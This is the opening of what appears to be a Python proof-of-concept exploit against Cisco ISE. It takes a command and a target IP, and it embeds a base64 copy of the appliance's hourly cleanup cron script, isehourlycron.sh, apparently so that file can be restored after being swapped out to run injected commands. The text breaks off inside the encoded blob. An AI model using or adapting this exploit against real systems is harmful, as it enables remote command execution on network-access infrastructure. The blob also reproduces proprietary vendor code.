import os import base64 import zipfile import subprocess import argparse parser = argparse.ArgumentParser(description="PoC with --reset flag to toggle behavior.") parser.add_argument('--reset', action='store_true', help='Trigger reset behavior') parser.add_argument('--command', type=str, required=True, help='Command to be executed') parser.add_argument('--ip', type=str, required=True, help='Target IP address') args = parser.parse_args() # Setup necessary info COMMAND = args.command IP = args.ip #Original file under /opt/CSCOcpm/bin/ named isehourlycron.sh isehourlycron = "IyEvYmluL3NoCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojICAgICBGaWxlbmFtZTogaXNlaG91cmx5Y3Jvbi5zaAojICBEZXNjcmlwdGlvbjogU2hlbGwgc2NyaXB0IHRvIHBlcmZvcm0gaG91cmx5IGNsZWFudXAKIyAgICAgICAgVXNhZ2U6IENhbGxlZCBmcm9tIHN5c3RlbSBzY2hlZHVsZXIKIyAgICAgICBBdXRob3I6IGVkZGllbUBjaXNjby5jb20KIwojIENvcHlyaWdodCAoYykgMjAwOS0yMDE1IENpc2NvIFN5c3RlbXMsIEluYy4gIFRoaXMgcHJvZ3JhbSBjb250YWlucwojIHByb3ByaWV0YXJ5IGFuZCBjb25maWRlbnRpYWwgaW5mb3JtYXRpb24uICBBbGwgcmlnaHRzIHJlc2VydmVkCiMgZXhjZXB0IGFzIG1heSBiZSBwZXJtaXR0ZWQgYnkgcHJpb3Igd3JpdHRlbiBjb25zZW50LgojCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKc291cmNlIC9vcHQvQ1NDT2NwbS9jb25maWcvY3BtZW52LnNoCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwojIElmIGF2YWlsYWJsZSBmaWxlc3lzdGVtIHNwYWNlIGRyb3BzIGJlbG93IDVHYiwgYW5kIHVuZG8gCiMgdW5kbyB0YWJsZXNwYWNlIGlzIG92ZXIgMTBHYiwgdGhlbiBkcm9wIGFuZCByZWNyZWF0ZQojIHRoZSB1bmRvIHRhYmxlc3BhY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKY2xlYW51cHVuZG90YWJsZXNwYWNlKCkKewogIAogICAgY2F0ID4gL3RtcC9kcm9wdW5kby5zcWwgPDwgRU9GCnNldCBzZXJ2ZXJvdXQgb247CmRlY2xhcmUKdmFyIHZhcmNoYXIyKDEwMDApOwpiZWdpbgpiZWdpbgpleGVjdXRlIGltbWVkaWF0ZSAnc2VsZWN0IE5BTUUgZnJvbSB1bmRvZHJvcCcgaW50byB2YXIgOwpFWENFUFRJT04gV0hFTiBPVEhFUlMgVEhFTiBudWxsOwpyZXR1cm47CmVuZDsKaWYgICB2YXI9J1VORE9UQlMwMScgVEhFTgpCRUdJTgpleGVjdXRlIGltbWVkaWF0ZSAnRFJPUCBUQUJMRVNQQUNFIFVORE9UQlMwMSBJTkNMVURJTkcgQ09OVEVOVFMgYW5kIGRhdGFmaWxlcyc7CkRibXNfT3V0cHV0LnB1dF9saW5lICgnT2xkIHVuZG8gdGFibGVzcGFjZSBVTkRPVEJTMDEgZHJvcHBlZCcpOwpiZWdpbgpleGVjdXRlIGltbWVkaWF0ZSAnZHJvcCB0YWJsZSB1bmRvZHJvcCc7CkVYQ0VQVElPTiBXSEVOIE9USEVSUyBUSEVOIG51bGw7CmVuZDsKRVhDRVBUSU9OIFdIRU4gT1RIRVJTIFRIRU4Kc3lzLmRibXNfbG9jay5zbGVlcCg2MCk7CmJlZ2luCmV4ZWN1dGUgaW1tZWRpYXRlICdEUk9QIFRBQkxFU1BBQ0UgVU5ET1RCUzAxIElOQ0xVRElORyBDT05URU5UUyBhbmQgZGF0YWZpbGVzJzsKRGJtc19PdXRwdXQucHV0X2xpbmUgKCdPbGQgdW5kbyB0YWJsZXNwYWNlIFVORE9UQlMwMSBkcm9wcGVkJyk7CmJlZ2luCmV4ZWN1dGUgaW1tZWRpYXRlICdkcm9wIHRhYmxlIHVuZG9kcm9wJzsKRVhDRVBUSU9OIFdIRU4gT1RIRVJTIFRIRU4gbnVsbDsKZW5kOwpFWENFUFRJT04gV0hFTiBPVEhFUlMgVEhFTgpEYm1zX091dHB1dC5wdXRfbGluZSAoJ1N0aWxsIG9ubGluZSBzZWdtZW50cyBleGlzdHMsIHdpbGwgYmUgY2xlYXJlZCBhZnRlciBzb21lIHRpbWUnKTsKZW5kOwpFTkQ7CmVsc2lmIHZhcj0nVU5ET19UQlMwMScgVEhFTgpCRUdJTgpleGVjdXRlIGltbWVkaWF0ZSAnRFJPUCBUQUJMRVNQQUNFIFVORE9fVEJTMDEgSU5DTFVESU5HIENPTlRFTlRTIGFuZCBkYXRhZmlsZXMnOwpEYm1zX091dHB1dC5wdXRfbGluZSAoJ09sZCB1bmRvIHRhYmxlc3BhY2UgVU5ET19UQlMwMSBkcm9wcGVkJyk7CmJlZ2luCmV4ZWN1dGUgaW1tZWRpYXRlICdkcm9wIHRhYmxlIHVuZG9kcm9wJzsKRVhDRVBUSU9OIFdIRU4gT1RIRVJTIFRIRU4gbnVsbDsKZW5kOwpFWENFUFRJT04gV0hFTiBPVEhFUlMgVEhFTgpzeXMuZGJtc19sb2NrLnNsZWVwKDYwKTsKYmVnaW4KZXhlY3V0ZSBpbW1lZGlhdGUgJ0RST1AgVEFCTEVTUEFDRSBVTkRPX1RCUzAxIElOQ0xVRElORyBDT05URU5UUyBhbmQgZGF0YWZpbGVzJzsKRGJtc19PdXRwdXQucHV0X2xpbmUgKCdPbGQgdW5kbyB0YWJsZXNwYWNlIFVORE9fVEJTMDEgZHJvcHBlZCcpOwpiZWdpbgpleGVjdXRlIGltbWVkaWF0ZSAnZHJvcCB0YWJsZSB1bmRvZHJvcCc7CkVYQ0VQVElPTiBXSEVOIE9USEVSUyBUSEVOIG51bGw7CmVuZDsKRVhDRVBUSU9OIFdIRU4gT1RIRVJTIFRIRU4KRGJtc19PdXRwdXQucHV0X2xpbmUgKCdTdGlsbCBvbmxpbmUgc2VnbWVudHMgZXhpc3RzLCB3aWxsIGJlIGNsZWFyZWQgYWZ0ZXIgc29tZSB0aW1lJyk7CmVuZDsKRU5EOwplbmQgaWY7CmVuZDsKLwpleGl0OwpFT0YKCnRpbWVvdXQgMzAwIHN1IC0gb3JhY2xlIC1jICIkT1JBQ0xFX0hPTUUvYmluL3NxbHBsdXMgLVMgL0BzeXN0ZW0xMCBhcyBzeXNkYmEgQC90bXAvZHJvcHVuZG8uc3FsIiAgICAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCiAgICAKbG9nIDIgIkRCIHVuZG8gdGFibGVzcGFjZSBjbGVhbnVwIGV4ZWN1dGlvbiBjb21wbGV0ZWQiICAgIAp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyBJZiB0aGVyZSB3YXMgYSBDTEkgUFcgcmVjb3ZlcnkgZG9uZSBpbiBmcm9tIGJvb3RpbmcgdGhlCiMgSVNPIGltYWdlLCB0aGVyZSB3aWxsIGJlIGEgL3RtcC9wd3JlY292LmRhdCBmaWxlIGNvbnRhaW5pbmcgCiMgdGhlIHVzZXJuYW1lIHRoYXQgd2FzIHJlY292ZXJlZCBhbmQgdGltZXN0YW1wIGl0IG9jY3VycmVkLgojIFRoaXMgZnVuY3Rpb24gY2hlY2tzIGZvciBleGlzdGVuY2Ugb2YgdGhhdCBmaWxlIGFuZCBzZW5kcyBhbgojIElTRSBhdWRpdGxvZwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwpjaGVja0ZvckNMSVB3UmVjb3ZlcnkoKQp7CiAgaWYgWyAtZiAvdG1wL3B3cmVjb3YuZGF0IF0gOyB0aGVuCiAgICBzb3VyY2UgL3RtcC9wd3JlY292LmRhdCAgIyBnZXQgdXNlcm5hbWUgYW5kIHRpbWVzdGFtcCBmcm9tIGRhdGEgZmlsZQogICAgQVVESVRfTVNHSUQ9IjEwMTgiCiAgICBBVURJVF9UWVBFPSJVU0VSIgogICAgQVVESVRfTkFNRT0iVVNFUiBDT05GSUdVUkFUSU9OIE1PRElGSUVEIgogICAgQVVESVRfVVNFUk5BTUU9ImNvbnNvbGUtbm9hdXRoIgogICAgQVVESVRfQ0FVU0U9IkNMSSBVc2VyIGNvbmZpZ3VyYXRpb24gaGFzIGJlZW4gbW9kaWZpZWQiCiAgICBBVURJVF9BRE1JTklQPSIxMjcuMC4wLjEiCiAgICBBVURJVF9JTlRFUkZBQ0U9IkNMSSIKICAgIEFVRElUX0RFVEFJTD0iVXNlciAkUFdSRUNPVl9VU0VSIGhhcyBiZWVuIG1vZGlmaWVkIHZpYSBDTEkgcGFzc3dvcmQgcmVjb3ZlcnkgcHJvY2VzcyB3aGljaCBvY2N1cnJlZCBvbiAkUFdSRUNPVl9USU1FU1RBTVAiCgogICAgbG9nQXVkaXQgIiRBVURJVF9NU0dJRCIgIiRBVURJVF9UWVBFIiAiJEFVRElUX05BTUUiICIkQVVESVRfVVNFUk5BTUUiICIkQVVESVRfQ0FVU0UiICIkQVVESVRfQURNSU5JUCIgIiRBVURJVF9JTlRFUkZBQ0UiICIkQVVESVRfREVUQUlMIgoKICAgICMgUmVtb3ZlIGRhdCBmaWxlIHRvIGVuc3VyZSB3ZSBvbmx5IHNlbmQgdGhpcyBhdWRpdCBtZXNzYWdlIG9uY2UKICAgIHJtIC1mIC90bXAvcHdyZWNvdi5kYXQKICBmaQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwojIHZzaF8gZmlsZXMgbmVlZCB0byBiZSBjaGVja2VkIGFuZCBjbGVhcmVkIGZyb20gL3RtcAojIGV2ZXJ5IGhvdXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKY2xlYW51cHZzaCgpCnsKIGxvZyAzICJjbGVhcmluZyB0aGUgdnNoIGZpbGVzIGZyb20gL3RtcCAiCgpWU0hfVVNBR0U9YHBzIC1BZiB8IGF3ayAnL2dyZXBfd3JhcHBlci8geyBhKysgfSBFTkQgeyBwcmludCBhIH0nYAoKbG9nIDIgIm51bWJlciBvZiBwcm9jZXNzICRWU0hfVVNBR0UgIgoKaWYgWyAkVlNIX1VTQUdFIC1lcSAxIF0gOwp0aGVuCmxvZyAyICJyZW1vdmluZyB2c2ggZmlsZXMiCnJtIC1mIC90bXAvdnNoXyoKZmkKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyBVbnVzZWQgdG9rZW5zIGluIHRoZSB0YWJsZSB3Y3Nfc3NvX3Rva2VuIG5lZWRzIHRvIGJlIGNsZWFuZWR1cCAKIyBldmVyeSBob3VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCmNsZWFudXB3Y3Nfc3NvX3Rva2VuKCkKewogIGxvZyAzICJwcmVwYXJpbmcgdGhlIGNsZWFudXAgc2NyaXB0IGZvciB0aGUgdW51c2VkIHRva2VucyAiCgogIGNhdCA+IC90bXAvY2xlYW53Y3N0b2tlbi5zcWwgPDwgRU9GCgpCRUdJTgpEZWxldGUgZnJvbSBjZXBtLndjc19zc29fdG9rZW4gd2hlcmUgIChUT19DSEFSKGNyZWF0ZWRfdGltZXN0YW1wLCdERC1NT04tWVkgSEgyNDpNSTpTUycpPD10b19jaGFyKHN5c3RpbWVzdGFtcC1pbnRlcnZhbCAnMScgaG91ciwnREQtTU9OLVlZIEhIMjQ6TUk6U1MnKSkKT1IgKGNyZWF0ZWRfdGltZXN0YW1wPD0oU1lTREFURS0xKSk7CmNvbW1pdDsKZW5kOwovCmV4aXQ7CkVPRgoKICBsb2cgMyAiY2xlYW5pbmcgdGhlIHVudXNlZCB0b2tlbnMuLi4iCiAgZXhwb3J0IE9SQUNMRV9CQVNFPS9vcHQvb3JhY2xlL2Jhc2UKdGltZW91dCA2MCAgIHN1IC0gb3JhY2xlIC1jICIkT1JBQ0xFX0hPTUUvYmluL3NxbHBsdXMgL0BzeXN0ZW0xMCBhcyBzeXNkYmEgQC90bXAvY2xlYW53Y3N0b2tlbi5zcWwiIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICBybSAtZiAvdG1wL2NsZWFud2NzdG9rZW4uc3FsCn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgY2hlY2tzIGV2ZXJ5IGhvdXIgYW5kIGtlZXBzIG9ubHkgMTUwMDAgbGF0ZXN0IGFsYXJtcyBpbmZvIGluICAKIyB0aGUgRGIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKY2xlYW51cGFsYXJtcygpCnsKICBsb2cgMyAicHJlcGFyaW5nIHRoZSBjbGVhbnVwIHNjcmlwdCBmb3IgdGhlIGFsYXJtY2xlYW51cCAiCgogIGNhdCA+IC90bXAvY2xlYW51cGFsYXJtLnNxbCA8PCBFT0YKCmRlY2xhcmUKdl90aHJlc3Nob2xkIHRpbWVzdGFtcCg2KTsKCmJlZ2luCnNlbGVjdCBzZWNfYWxhcm1fdGltZXN0YW1wIGludG8gdl90aHJlc3Nob2xkICBmcm9tIChzZWxlY3Qgcm93bnVtIGlkLGEuKiBmcm9tIChzZWxlY3Qgc2VjX2FsYXJtX3RpbWVzdGFtcCBmcm9tIGNlcG0uc2VjX2FsYXJtX2F1ZGl0ICBvcmRlciBieSBzZWNfYWxhcm1fdGltZXN0YW1wIGRlc2MgKSBhICApIHdoZXJlIGlkPj0xNTAwMAphbmQgcm93bnVtPTE7CmlmIHZfdGhyZXNzaG9sZCBpcyBub3QgbnVsbCB0aGVuCmRlbGV0ZSBmcm9tIGNlcG0uc2VjX2FsYXJtX2F1ZGl0IHdoZXJlIHNlY19hbGFybV90aW1lc3RhbXA8dl90aHJlc3Nob2xkOwplbmQgaWY7CmV4Y2VwdGlvbiB3aGVuIG90aGVycyB0aGVuCm51bGw7CmVuZDsKLwpleGl0OwpFT0YKCiAgbG9nIDMgImNsZWFuaW5nIHRoZSBvdXRkYXRlZCBBbGFybXMuLi4iCiAgZXhwb3J0IE9SQUNMRV9CQVNFPS9vcHQvb3JhY2xlL2Jhc2UKIHRpbWVvdXQgNjAgIHN1IC0gb3JhY2xlIC1jICIkT1JBQ0xFX0hPTUUvYmluL3NxbHBsdXMgL0BzeXN0ZW0xMCBhcyBzeXNkYmEgQC90bXAvY2xlYW51cGFsYXJtLnNxbCIgMj4mMSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwogIHJtIC1mIC90bXAvY2xlYW51cGFsYXJtLnNxbAp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyBEZWxldGUgYW55IGRhaWx5IGJhY2t1cCBmaWxlcyBvbGRlciB0aGFuIHRoZSBsYXN0IGRheXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKY2xlYW51cGNvcmVmaWxlcygpCnsKICByZXRhaW5sYXN0PTUKICBjdXJkaXI9YHB3ZGAKICBjZCAvdmFyL3RtcAogIAogICMgRmlyc3QsIGRldGVybWluZSBpZiBhbnkgY29yZSBmaWxlcyBleGlzdHMuICBJZiBzbywgY3JlYXRlIC9sb2NhbGRpc2svY29yZWZpbGVzIGRpcgogICMgc28gdGhlc2UgY29yZSBmaWxlcyBjYW4gYmUgbWFuYWdlZCBkaXJlY3RseSBmcm9tIENMSQoKICAjIENvbW1lbnRpbmcgdGhlIGZvbGxvd2luZyBsb2dpYyBhcyBpdHMgbm90IHdvcmtpbmcgYW55d2F5CiAgI2NvcmUxPWBscyAvdmFyL3RtcC9jb3JlKiA+IC9kZXYvbnVsbCAyPiYxYAogICNjb3JlMj1gbHMgL2NvcmUqID4gL2Rldi9udWxsIDI+JjFgCiAgI2NvcmUzPWBscyAvcm9vdC9jb3JlKiA+IC9kZXYvbnVsbCAyPiYxYAogICNjb3JlND1gbHMgL3RtcC9jb3JlKiA+IC9kZXYvbnVsbCAyPiYxYAogICNpZiBbWyAkY29yZTEgLWVxIDAgfHwgJGNvcmUyIC1lcSAwIHx8ICRjb3JlMyAtZXEgMCB8fCAkY29yZTQgLWVxIDAgXV0gOyB0aGVuCiAgIyAgbG9nIDMgImNvcmUgZmlsZXMgYXJlIGZvdW5kLCBtb3ZpbmcgdGhlbSB0byAvbG9jYWxkaXNrL2NvcmVmaWxlcyIKICAgIGNvcmVzZGlyPSIvbG9jYWxkaXNrL2NvcmVmaWxlcy8iCiAgICBta2RpciAkY29yZXNkaXIgPiAvZGV2L251bGwgMj4mMQogICAgIyBNb3ZlIGFueSBjb3JlIGZpbGVzIGZvdW5kIGluIC8gb3IgL3Jvb3Qgb3IgL3RtcCB0byAvbG9jYWxkaXNrL2NvcmVmaWxlcwogICAgQ09SRUZJTEVTPSIvdmFyL3RtcC9jb3JlKiAKICAgICAgICAgICAgICAgIC9jb3JlKgogICAgICAgICAgICAgICAgL3Jvb3QvY29yZSoKICAgICAgICAgICAgICAgIC90bXAvY29yZSoKICAgICAgICAgICAgICAgIC92YXIvdG1wL2hzX2VycioKICAgICAgICAgICAgICAgIC9oc19lcnIqCiAgICAgICAgICAgICAgICAvcm9vdC9oc19lcnIqCiAgICAgICAgICAgICAgICAvdG1wL2hzX2VycioKICAgICAgICAgICAgICAgIC92YXIvdG1wL2phdmEqLmhwcm9mKgogICAgICAgICAgICAgICAgL2phdmEqLmhwcm9mKgogICAgICAgICAgICAgICAgL3Jvb3QvamF2YSouaHByb2YqCiAgICAgICAgICAgICAgICAvdG1wL2phdmEqLmhwcm9mKiIKICAgIGZvciBjb3JlZmlsZSBpbiAkQ09SRUZJTEVTCiAgICBkbwogICAgICAgIGNwIC1mICRjb3JlZmlsZSAkY29yZXNkaXIgPiAvZGV2L251bGwgMj4mMQogICAgICAgIGlmIFsgJD8gLWVxIDAgXSA7IHRoZW4KICAgICAgICAgICAgcm0gLWYgJGNvcmVmaWxlIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICAgICAgICBmaQogICAgZG9uZQogICNmaQoKICBjZCAvbG9jYWxkaXNrL2NvcmVmaWxlcyAKICBmaWxlY291bnQ9MAogIGxzIC10IGNvcmUqIDI+IC9kZXYvbnVsbCB8IHdoaWxlIHJlYWQgYWZpbGUgOyBkbwogICAgaWYgWyAkZmlsZWNvdW50IC1sdCAkcmV0YWlubGFzdCBdIDsgdGhlbgogICAgICBsb2cgMyAiUmV0YWluaW5nIGxhdGVzdCBjb3JlIGZpbGU6ICRhZmlsZSIKICAgIGVsc2UKICAgICAgbG9nIDMgIkNsZWFuaW5nIHVwIG9sZCBjb3JlIGZpbGU6ICRhZmlsZSIKICAgICAgcm0gLWYgJGFmaWxlIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICAgIGZpCiAgICBmaWxlY291bnQ9YGV4cHIgJGZpbGVjb3VudCArIDFgCiAgZG9uZQoKICBmaWxlY291bnQ9MAogIGxzIC10IGhzX2VyciogMj4gL2Rldi9udWxsIHwgd2hpbGUgcmVhZCBhZmlsZSA7IGRvCiAgICBpZiBbICRmaWxlY291bnQgLWx0ICRyZXRhaW5sYXN0IF0gOyB0aGVuCiAgICAgIGxvZyAzICJSZXRhaW5pbmcgbGF0ZXN0IGhzX2VyciBmaWxlOiAkYWZpbGUiCiAgICBlbHNlCiAgICAgIGxvZyAzICJDbGVhbmluZyB1cCBvbGQgaHNfZXJyIGZpbGU6ICRhZmlsZSIKICAgICAgcm0gLWYgJGFmaWxlIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICAgIGZpCiAgICBmaWxlY291bnQ9YGV4cHIgJGZpbGVjb3VudCArIDFgCiAgZG9uZQoKICBmaWxlY291bnQ9MAogIGxzIC10IGphdmEqLmhwcm9mKiAyPiAvZGV2L251bGwgfCB3aGlsZSByZWFkIGFmaWxlIDsgZG8KICAgIGlmIFsgJGZpbGVjb3VudCAtbGUgMiBdIDsgdGhlbgogICAgICBsb2cgMyAiUmV0YWluaW5nIGxhdGVzdCBqYXZhIC5ocHJvZiBmaWxlOiAkYWZpbGUiCiAgICBlbHNlCiAgICAgIGxvZyAzICJDbGVhbmluZyB1cCBvbGQgamF2YSAuaHByb2YgZmlsZTogJGFmaWxlIgogICAgICBybSAtZiAkYWZpbGUgMj4mMSB8IGxvZ2dlciAtcCBsb2NhbDAuaW5mbwogICAgZmkKICAgIGZpbGVjb3VudD1gZXhwciAkZmlsZWNvdW50ICsgMWAKICBkb25lCiAKICAgI0NhbGxpbmcgVGhpbkZpbGVDcmVhdGlvblNjcmlwdCBmcm9tIGlzZWhvdXJseWNyb24KICAgIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwogICAvb3B0L0NTQ09jcG0vYmluL3RoaW5maWxlZm9yY29yZS5zaCAgIAoKICAKICAjIENvbXByZXNzIGFueSByZW1haW5pbmcgY29yZSxoc19lcnIsamF2YSouaHByb2YgZmlsZXMKICBscyAtdCBjb3JlKiBoc19lcnIqICouaHByb2YqIDI+IC9kZXYvbnVsbCB8IGdyZXAgLXYgLmd6IHwgd2hpbGUgcmVhZCBhZmlsZSA7IGRvCiAgICBsb2cgMyAiQ29tcHJlc3NpbmcgY29yZSwgaHNfZXJyLCBqYXZhKi5ocHJvZiBmaWxlOiAkYWZpbGUiCiAgICBnemlwICRhZmlsZSAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCiAgZG9uZQoKICAjIE1vdmUgZWxhc3RpY3NlYXJjaCBocHJvZiB0byAvbG9jYWxkaXNrLyBhbmQgemlwIGl0CiAgbHMgLXQgL29wdC9DU0NPY3BtL2xvZ3MvamF2YV9lc19oZWFwZHVtcC5ocHJvZiAyPiAvZGV2L251bGwgfCB3aGlsZSByZWFkIGFmaWxlIDsgZG8KICAgIGxvZyAzICJDb21wcmVzc2luZyBlbGFzdGljc2VhcmNoIGhwcm9mIGZpbGU6ICRhZmlsZSIKICAgIGd6aXAgJGFmaWxlIDI+JjEgfCBsb2dnZXIgLXAgbG9jYWwwLmluZm8KICAgIG12IC9vcHQvQ1NDT2NwbS9sb2dzL2phdmFfZXNfaGVhcGR1bXAuaHByb2YuZ3ogL2xvY2FsZGlzay9jb3JlZmlsZXMvamF2YV9lc19oZWFwZHVtcC5ocHJvZi5neiAyPiYxIHwgbG9nZ2VyIC1wIGxvY2FsMC5pbmZvCiAgZG9uZQogIAogIGNkICRjdXJkaXIKCiAgIyBEZWxldGUgdGVtcCBmaWxlcyByZWxhdGVkIHRvIHNob3cgaW52IGZyb20gL3Zhci90bXAKICBmaW5kIC92YXIvdG1wLyAtbmFtZSAic2hpbnZyYW5kb20ub3V0KiIgLWNtaW4gKzMwIC1leGVjIHJtIC1mIHt9IFw7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgQ2hlY2sgZGlzayBzcGFjZSBvZiBkYXRhYmFzZSBmaWxlc3lzdGVtCiMgKG1vdmVkIGZyb20gbGVnYWN5IGRiY2xlYW51cC10aW1lbHkuc2gpCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCmNoZWNrX2RiX2F2YWlsKCkKewogICAgJENQTV9IT01FL2Jpbi9kYmNvbnRyb2wuc2ggc3RhdHVzIHwgZ3JlcCAtcSAibm90IHJ1bm5pbmciCiAgICBpZiBbICQ/IC1lcSAwIF0gOyB0aGVuCiAgICAgICAgbG9nIDIgIklTRSBEYXRhYmFzZSBpcyBub3QgcnVubmluZywgYWJvcnRpbmcgY2xlYW51cC4uLiIKICAgICAgICBleGl0IDEKICAgIGZpCn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgQ2hlY2sgZGlzayBzcGFjZSBvZiBkYXRhYmFzZSBmaWxlc3lzdGVtCiMgKG1vdmVkIGZyb20gbGVnYWN5IGRiY2xlYW51cC10aW1lbHkuc2gpCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCmNoZWNrX2Rpc2tzcGFjZSgpCnsKICBJU0VfVVNBR0U9YGRmIC1rIC0tcG9ydGFiaWxpdHkgL29wdCB8IGF3ayAne3ByaW50ICQ1fScgfCB0YWlsIC0xIHwgc2VkIC1lICdzLyUvLydgCiAgSVNFX1RIUkVTSE9MRD04MAogICMgQ2hlY2sgaWYgL29wdCBpcyBncmVhdGVyIHRoYW4gdGhyZXNob2xkCiAgaWYgWyAkSVNFX1VTQUdFIC1ndCAkSVNFX1RIUkVTSE9MRCBdIDsgdGhlbgogICAgbG9nIDIgIlRoZSBJU0UgZGF0YSBmaWxlc3lzdGVtIGlzICRJU0VfVVNBR0UgcGVyY2VudCBmdWxsLiBUcmlnZ2VyaW5nIElTRSBEQiBjbGVhbnVwLiIKICAgIEFHR1JFU1NJVkVfQ0xFQU5VUF9SRVFVSVJFRD0xCiAgZWxzZQogICAgbG9nIDMgIlRoZSBJU0UgZGF0YSBmaWxlc3lzdGVtIGlzICRJU0VfVVNBR0UgcGVyY2VudCBmdWxsLiBObyBJU0UgREIgY2xlYW51cCByZXF1aXJlZCBmb3IgZGlzayBzcGFjZS4iCiAgZmkKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKIyBDaGVjayBpZiBlcmUgaXMgZW5vdWdoIGRpc2sgc3BhY2UgdG8gZG8gYmFja3VwCiMgKG1vdmVkIGZyb20gbGVnYWN5IGRiY2xlYW51cC10aW1lbHkuc2gpCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCmNoZWNrX3JlY292ZXJ5c2l6ZSgpCnsKICBBUkNISVZFTE9HX0RJUj0vb3B0L29yYWNsZS9iYXNlL2ZsYXNoX3JlY292ZXJ5X2FyZWEvQ1BNMTAKICBpZiBbICEgLWQgJEFSQ0hJVkVMT0dfRElSIF0gOyB0aGVuCiAgICBsb2cgMSAiRXJyb3I6IERCIGFyY2hpdmVsb2cgJEFSQ0hJVkVMT0dfRElSIG5vdCBmb3VuZC4gIEV4aXRpbmcuLi4iCiAgICBleGl0IDEKICBmaQogICMgSVNFX0RCUkVDT1ZfVVNBR0Ugd2lsbCBiZSB0aGUgc2l6ZSBpbiBNQiBvZiB0aGUgREIgcmVjb3ZlcnkgZGlyZWN0b3J5LgogICMgSWYgaXQncyBncmVhdGVyIHRoYW4gMzJHYiAoMzI3NjggTWIpLCB0cmlnZ2VyIGNsZWFudXAKICBEQlJFQ09WX1RIUkVTSE9MRD0zMjc2OAogIElTRV9EQlJFQ09WX1VTQUdFPWBkdSAtc20gJEFSQ0hJVkVMT0dfRElSIHwgYXdrICd7cHJpbnQgJDF9J2AKICBpZiBbICRJU0VfREJSRUNPVl9VU0FHRSAtZ3QgJERCUkVDT1ZfVEhSRVNIT0xEIF0gOyB0aGVuCiAgICBsb2cgMiAiVGhlIElTRSBkYXRhYmFzZSB0cmFuc2FjdGlvbiBsb2cgZGlyIGlzICRJU0VfREJSRUNPVl9VU0FHRSBNQi4gVHJpZ2dlcmluZyBJU0UgREIgY2xlYW51cC4iCiAgICBBR0dSRVNTSVZFX0NMRUFOVVBfUkVRVUlSRUQ9MQogIGVsc2UgCiAgICBsb2cgMyAiVGhlIElTRSBkYXRhYmFzZSB0cmFuc2FjdGlvbiBsb2cgZGlyIGlzIG9ubHkgJElTRV9EQlJFQ09WX1VTQUdFIE1CLiBObyBJU0UgREIgY2xlYW51cCByZXF1aXJlZCBmb3IgdHJhbnNhY3Rpb24gbG9nIHNpemUuIgogIGZpCn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS